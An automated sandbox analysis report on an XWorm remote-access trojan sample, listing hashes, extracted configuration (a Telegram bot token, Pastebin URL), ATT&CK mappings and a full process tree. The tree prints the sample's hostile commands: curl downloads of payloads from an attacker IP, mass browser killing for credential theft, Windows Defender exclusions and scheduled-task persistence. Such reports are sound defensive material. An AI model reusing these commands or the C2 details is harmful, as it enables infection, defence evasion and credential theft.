xworm | 2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2

Analysis

max time kernel
133s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
22-05-2024 21:34

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General

Target

2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2.exe
Size

87KB
MD5

ab378d6539627c52dbfc272c83eb420c
SHA1

039060f0fdefbe0a62147a7bbad9b1a526a78d61
SHA256

2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2
SHA512

afe3be5f89ad67e2c4440d44c6ed890853eecb6cf34faed20d61ae49f30fa30a5cc390393b3ef4609a34a2121b6831cacf00ee6aa62c268e0b9fce0223bb0222
SSDEEP

1536:L7fPGykbOqjoHm4pICdfkLtAfupcWX50MxFY+yIOlnToIfNxFOy:Hq6+ouCpk2mpcWJ0r+QNTBfNZ

Score

10^/10

xworm execution persistence rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%ProgramData%
install_file
winlogon.exe
pastebin_url
https://pastebin.com/raw/kTrgfRNT
telegram
https://api.telegram.org/bot6820329388:AAG0ljIyZ1Cj86n9cgzLGNBMldBe9TtqhAM/sendMessage?chat_id=1330099235

Signatures

Detect Xworm Payload 4 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\rm.exe	family_xworm
behavioral2/memory/4084-25-0x0000000000A00000-0x0000000000A16000-memory.dmp	family_xworm
C:\Users\Admin\AppData\Local\Temp\wlms.exe	family_xworm
behavioral2/memory/3112-29-0x0000000000B00000-0x0000000000B16000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
3600	powershell.exe
1144	powershell.exe
4716	powershell.exe
2984	powershell.exe
2492	powershell.exe
1472	powershell.exe
1408	powershell.exe
4500	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2.exegrabber.exerm.exewlms.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	grabber.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	rm.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	wlms.exe

Executes dropped EXE 8 IoCs

Processes:

grabber.exeram.exerm.exewlms.exewlms.exewinlogon.exewlms.exewinlogon.exe

pid process

4964 grabber.exe
1300 ram.exe
4084 rm.exe
3112 wlms.exe
2484 wlms.exe
4352 winlogon.exe
1752 wlms.exe
468 winlogon.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
4964	grabber.exe
1300	ram.exe
4084	rm.exe
3112	wlms.exe
2484	wlms.exe
4352	winlogon.exe
1752	wlms.exe
468	winlogon.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

rm.exewlms.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\winlogon = "C:\\ProgramData\\winlogon.exe"	rm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wlms = "C:\\Users\\Admin\\AppData\\Roaming\\wlms.exe"	wlms.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service
T1102

Processes:

flow ioc

37 pastebin.com
38 pastebin.com
39 pastebin.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

33 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exe

pid process

4752 schtasks.exe
4368 schtasks.exe

flow	ioc
37	pastebin.com
38	pastebin.com
39	pastebin.com

flow	ioc
33	ip-api.com

pid	process
4752	schtasks.exe
4368	schtasks.exe

Kills process with taskkill 15 IoCs

evasion

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exe

pid	process
1228	taskkill.exe
4500	taskkill.exe
2184	taskkill.exe
3636	taskkill.exe
1852	taskkill.exe
1376	taskkill.exe
468	taskkill.exe
1380	taskkill.exe
2576	taskkill.exe
1864	taskkill.exe
2356	taskkill.exe
4660	taskkill.exe
1680	taskkill.exe
4428	taskkill.exe
2124	taskkill.exe

Suspicious behavior: EnumeratesProcesses 26 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exewlms.exerm.exe

pid	process
2492	powershell.exe
2492	powershell.exe
2492	powershell.exe
1472	powershell.exe
1472	powershell.exe
1472	powershell.exe
1408	powershell.exe
1408	powershell.exe
4500	powershell.exe
4500	powershell.exe
4500	powershell.exe
1408	powershell.exe
3600	powershell.exe
3600	powershell.exe
1144	powershell.exe
1144	powershell.exe
3600	powershell.exe
1144	powershell.exe
4716	powershell.exe
4716	powershell.exe
2984	powershell.exe
2984	powershell.exe
4716	powershell.exe
2984	powershell.exe
3112	wlms.exe
4084	rm.exe

Suspicious use of AdjustPrivilegeToken 30 IoCs

Processes:

taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exerm.exewlms.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exewinlogon.exewlms.exewinlogon.exewlms.exe

description	pid	process
Token: SeDebugPrivilege	1680	taskkill.exe
Token: SeDebugPrivilege	1380	taskkill.exe
Token: SeDebugPrivilege	4428	taskkill.exe
Token: SeDebugPrivilege	2576	taskkill.exe
Token: SeDebugPrivilege	2124	taskkill.exe
Token: SeDebugPrivilege	1852	taskkill.exe
Token: SeDebugPrivilege	4500	taskkill.exe
Token: SeDebugPrivilege	2184	taskkill.exe
Token: SeDebugPrivilege	2356	taskkill.exe
Token: SeDebugPrivilege	1864	taskkill.exe
Token: SeDebugPrivilege	3636	taskkill.exe
Token: SeDebugPrivilege	1228	taskkill.exe
Token: SeDebugPrivilege	1376	taskkill.exe
Token: SeDebugPrivilege	4660	taskkill.exe
Token: SeDebugPrivilege	468	taskkill.exe
Token: SeDebugPrivilege	4084	rm.exe
Token: SeDebugPrivilege	3112	wlms.exe
Token: SeDebugPrivilege	2492	powershell.exe
Token: SeDebugPrivilege	1472	powershell.exe
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	4500	powershell.exe
Token: SeDebugPrivilege	3600	powershell.exe
Token: SeDebugPrivilege	1144	powershell.exe
Token: SeDebugPrivilege	4716	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	4084	rm.exe
Token: SeDebugPrivilege	4352	winlogon.exe
Token: SeDebugPrivilege	2484	wlms.exe
Token: SeDebugPrivilege	468	winlogon.exe
Token: SeDebugPrivilege	1752	wlms.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

wlms.exerm.exe

pid process

3112 wlms.exe
4084 rm.exe

pid	process
3112	wlms.exe
4084	rm.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2.execmd.exegrabber.execmd.exeram.exerm.exewlms.exe

description	pid	process	target process
PID 2672 wrote to memory of 3156	2672	2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2.exe	cmd.exe
PID 2672 wrote to memory of 3156	2672	2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2.exe	cmd.exe
PID 3156 wrote to memory of 4000	3156	cmd.exe	curl.exe
PID 3156 wrote to memory of 4000	3156	cmd.exe	curl.exe
PID 3156 wrote to memory of 4656	3156	cmd.exe	curl.exe
PID 3156 wrote to memory of 4656	3156	cmd.exe	curl.exe
PID 3156 wrote to memory of 4964	3156	cmd.exe	grabber.exe
PID 3156 wrote to memory of 4964	3156	cmd.exe	grabber.exe
PID 4964 wrote to memory of 4704	4964	grabber.exe	cmd.exe
PID 4964 wrote to memory of 4704	4964	grabber.exe	cmd.exe
PID 4704 wrote to memory of 4024	4704	cmd.exe	curl.exe
PID 4704 wrote to memory of 4024	4704	cmd.exe	curl.exe
PID 4704 wrote to memory of 4368	4704	cmd.exe	curl.exe
PID 4704 wrote to memory of 4368	4704	cmd.exe	curl.exe
PID 4704 wrote to memory of 1300	4704	cmd.exe	ram.exe
PID 4704 wrote to memory of 1300	4704	cmd.exe	ram.exe
PID 1300 wrote to memory of 1680	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 1680	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 1380	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 1380	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 4428	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 4428	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 2576	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 2576	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 2124	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 2124	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 1852	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 1852	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 4500	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 4500	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 2184	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 2184	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 2356	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 2356	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 1864	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 1864	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 3636	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 3636	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 1228	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 1228	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 1376	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 1376	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 4660	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 4660	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 468	1300	ram.exe	taskkill.exe
PID 1300 wrote to memory of 468	1300	ram.exe	taskkill.exe
PID 4704 wrote to memory of 4084	4704	cmd.exe	rm.exe
PID 4704 wrote to memory of 4084	4704	cmd.exe	rm.exe
PID 3156 wrote to memory of 3112	3156	cmd.exe	wlms.exe
PID 3156 wrote to memory of 3112	3156	cmd.exe	wlms.exe
PID 4084 wrote to memory of 1472	4084	rm.exe	powershell.exe
PID 4084 wrote to memory of 1472	4084	rm.exe	powershell.exe
PID 3112 wrote to memory of 2492	3112	wlms.exe	powershell.exe
PID 3112 wrote to memory of 2492	3112	wlms.exe	powershell.exe
PID 4084 wrote to memory of 4500	4084	rm.exe	powershell.exe
PID 4084 wrote to memory of 4500	4084	rm.exe	powershell.exe
PID 3112 wrote to memory of 1408	3112	wlms.exe	powershell.exe
PID 3112 wrote to memory of 1408	3112	wlms.exe	powershell.exe
PID 4084 wrote to memory of 3600	4084	rm.exe	powershell.exe
PID 4084 wrote to memory of 3600	4084	rm.exe	powershell.exe
PID 3112 wrote to memory of 1144	3112	wlms.exe	powershell.exe
PID 3112 wrote to memory of 1144	3112	wlms.exe	powershell.exe
PID 4084 wrote to memory of 4716	4084	rm.exe	powershell.exe
PID 4084 wrote to memory of 4716	4084	rm.exe	powershell.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2.exe
"C:\Users\Admin\AppData\Local\Temp\2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2672

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\49CA.tmp\49CB.tmp\49CC.bat C:\Users\Admin\AppData\Local\Temp\2a0ac2b38c51d764422f55d55a0bca58be786c10b0b1386c5dce3055894c0ef2.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:3156

C:\Windows\system32\curl.exe
curl -s -o grabber.exe "http://188.212.100.57:54391/download/grabber.exe"
3⤵
PID:4000

C:\Windows\system32\curl.exe
curl -s -o wlms.exe "http://188.212.100.57:54391/download/wlms.exe"
3⤵
PID:4656

C:\Users\Admin\AppData\Local\Temp\grabber.exe
grabber.exe
3⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:4964

C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\513D.tmp\513E.tmp\513F.bat C:\Users\Admin\AppData\Local\Temp\grabber.exe"
4⤵
- Suspicious use of WriteProcessMemory
PID:4704

C:\Windows\system32\curl.exe
curl -s -o ram.exe http://188.212.100.57:54391/download/shell.exe
5⤵
PID:4024

C:\Windows\system32\curl.exe
curl -s -o rm.exe http://188.212.100.57:54391/download/winlogon.exe
5⤵
PID:4368

C:\Users\Admin\AppData\Local\Temp\ram.exe
ram.exe
5⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\system32\taskkill.exe
taskkill /F /IM chrome.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1680

C:\Windows\system32\taskkill.exe
taskkill /F /IM firefox.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1380

C:\Windows\system32\taskkill.exe
taskkill /F /IM brave.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4428

C:\Windows\system32\taskkill.exe
taskkill /F /IM opera.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2576

C:\Windows\system32\taskkill.exe
taskkill /F /IM kometa.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2124

C:\Windows\system32\taskkill.exe
taskkill /F /IM orbitum.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1852

C:\Windows\system32\taskkill.exe
taskkill /F /IM centbrowser.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4500

C:\Windows\system32\taskkill.exe
taskkill /F /IM 7star.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2184

C:\Windows\system32\taskkill.exe
taskkill /F /IM sputnik.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2356

C:\Windows\system32\taskkill.exe
taskkill /F /IM vivaldi.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1864

C:\Windows\system32\taskkill.exe
taskkill /F /IM epicprivacybrowser.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3636

C:\Windows\system32\taskkill.exe
taskkill /F /IM msedge.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1228

C:\Windows\system32\taskkill.exe
taskkill /F /IM uran.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1376

C:\Windows\system32\taskkill.exe
taskkill /F /IM yandex.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4660

C:\Windows\system32\taskkill.exe
taskkill /F /IM iridium.exe /T
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:468

C:\Users\Admin\AppData\Local\Temp\rm.exe
rm.exe
5⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4084

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\rm.exe'
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'rm.exe'
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4500

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\winlogon.exe'
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3600

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'winlogon.exe'
6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4716

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "winlogon" /tr "C:\ProgramData\winlogon.exe"
6⤵
- Creates scheduled task(s)
PID:4752

C:\Users\Admin\AppData\Local\Temp\wlms.exe
wlms.exe
3⤵
- Checks computer location settings
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3112

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\wlms.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2492

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wlms.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1408

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\wlms.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'wlms.exe'
4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2984

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "wlms" /tr "C:\Users\Admin\AppData\Roaming\wlms.exe"
4⤵
- Creates scheduled task(s)
PID:4368

C:\Users\Admin\AppData\Roaming\wlms.exe
C:\Users\Admin\AppData\Roaming\wlms.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:2484

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4352

C:\Users\Admin\AppData\Roaming\wlms.exe
C:\Users\Admin\AppData\Roaming\wlms.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1752

C:\ProgramData\winlogon.exe
C:\ProgramData\winlogon.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:468

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\wlms.exe.log
Filesize
654B

MD5
2ff39f6c7249774be85fd60a8f9a245e

SHA1
684ff36b31aedc1e587c8496c02722c6698c1c4e

SHA256
e1b91642d85d98124a6a31f710e137ab7fd90dec30e74a05ab7fcf3b7887dced

SHA512
1d7e8b92ef4afd463d62cfa7e8b9d1799db5bf2a263d3cd7840df2e0a1323d24eb595b5f8eb615c6cb15f9e3a7b4fc99f8dd6a3d34479222e966ec708998aed1

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
d8cb3e9459807e35f02130fad3f9860d

SHA1
5af7f32cb8a30e850892b15e9164030a041f4bd6

SHA256
2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68

SHA512
045239ba31367fbdd59e883f74eafc05724e23bd6e8f0c1e7171ea2496a497eb9e0cfcb57285bb81c4d569daadba43d6ef64c626ca48f1e2a59e8d97f0cc9184

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
10fb30dc297f99d6ebafa5fee8b24fa2

SHA1
76904509313a49a765edcde26b69c3a61f9fa225

SHA256
567bcacac120711fc04bf8e6c8cd0bff7b61e8ee0a6316254d1005ebb1264e6a

SHA512
c42ace1ea0923fa55592f4f486a508ea56997fdbe0200016b0fc16a33452fc28e4530129a315b3b3a5ede37a07097c13a0eb310c9e91e5d97bb7ce7b955b9498

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
7ce292bb581460978c5b6a6b6c02ea99

SHA1
261d81777c16ad7a104052a3b9d719c26f55ba38

SHA256
e7fcfed5376d00e784f09167de08f1559ae2ffc5a3b3e49c10af538153d7f806

SHA512
af498881c99b46d2a0c6b42d6c96fcc405f220189843d9a4bf0cad6fcdcab29c330322041c96571fb4119fd548f0daaf2e06eabdcc844ab4f645022571116fff

Download Submit
C:\Users\Admin\AppData\Local\Temp\49CA.tmp\49CB.tmp\49CC.bat
Filesize
202B

MD5
040dc40ccd7346ace502b30584d4d5a0

SHA1
886b8f5f079db8f5569235aa6dff74c1cf89942d

SHA256
f209745a8497c9b93a16dda0bf627dc88662184b00658013fec202e129f64450

SHA512
0319239eaebf27ff0f6c4be1b9f737da31d39faccbf47f6d0a0506d2771515928b38981d75365a0307defd530ff68b4de37d0af89519d052037782a741c7dc02

Download Submit
C:\Users\Admin\AppData\Local\Temp\513D.tmp\513E.tmp\513F.bat
Filesize
230B

MD5
abdb6860d790577e02cca5005866bbe8

SHA1
6c87a9e8b0b29ffe358c079a54f06dd9ef5cfb37

SHA256
ee13e97e15c3a2f432a7bfd3af278aa38ff88baa7652ea0bfb2e5d9bf5adb8f0

SHA512
1bbcf1d4540019aa392234e91e7629fd9f61240b8d7003df3404536810e639f7019a60bb74c2a08be5f855fd96923d0f8e0cdf7fa3a3d25e1e5829487a959fce

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ct0s3akk.bvx.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\cards.json
Filesize
4B

MD5
37a6259cc0c1dae299a7866489dff0bd

SHA1
2be88ca4242c76e8253ac62474851065032d6833

SHA256
74234e98afe7498fb5daf1f36ac2d78acc339464f950703b8c019892f982b90b

SHA512
04f8ff2682604862e405bf88de102ed7710ac45c1205957625e4ee3e5f5a2241e453614acc451345b91bafc88f38804019c7492444595674e94e8cf4be53817f

Download Submit
C:\Users\Admin\AppData\Local\Temp\grabber.exe
Filesize
120KB

MD5
4e1e436848d533c9a00b762ac148786d

SHA1
42962a264fbdbc96eb8267052298be9143ecd8bf

SHA256
efcd31afd704c03d8a487a06c795bba7ea0a1cde0866d8fcfd40f4c3ce197bbd

SHA512
59d16efac5f0ea7c62d18ef30032eba907b8d6c097463a8244f3d709c85b90ec12387c94a4d8a35dfb59d0cbd2dc02d0b39a1f6bd12c5ccd050d552070fdf30d

Download Submit
C:\Users\Admin\AppData\Local\Temp\ram.exe
Filesize
7.6MB

MD5
2c93399e0b0fc11cd03a56fc844a4816

SHA1
d8a6db37b1ac3cc819b04b0f4aac7fe721f88f00

SHA256
081da8d5b9e21e11ae3aeafd4ac54ba2e7a45a05abb08139bc1aa0213f1ef155

SHA512
dea99c0a22077389f6f6662e644e47ecb55ac010881b135ada2e07ac7a5ba1d42670d52c6cd88804aa3a16783f1e1f39b23fe3f7de6030ede831a27fee30f4a8

Download Submit
C:\Users\Admin\AppData\Local\Temp\rm.exe
Filesize
64KB

MD5
a43a55c5578f61d05ce146ead83e745a

SHA1
83093f791120d3e74b0d0847aebc52d3c9f04078

SHA256
de4d28dd8c9208fe86dec1e014913f3cfefdcadf73a7adb6eb062677f5f5772f

SHA512
a49839e60d77003090e0c9f602a64e597648e7151d99c5096479984cee32d376c8bd425114704b9366d213d0e9494900a726dead28e0548c5b7788ad5e5cbf1d

Download Submit
C:\Users\Admin\AppData\Local\Temp\wlms.exe
Filesize
63KB

MD5
74820650cbe9027cbd4766d9ef53af42

SHA1
d97e675f6526f38ac2b7b7fe720dda538217f3a3

SHA256
552b0815f8d176917fa1d0006b72079be0ee1aa2ba7adceffb97f6dd963fb142

SHA512
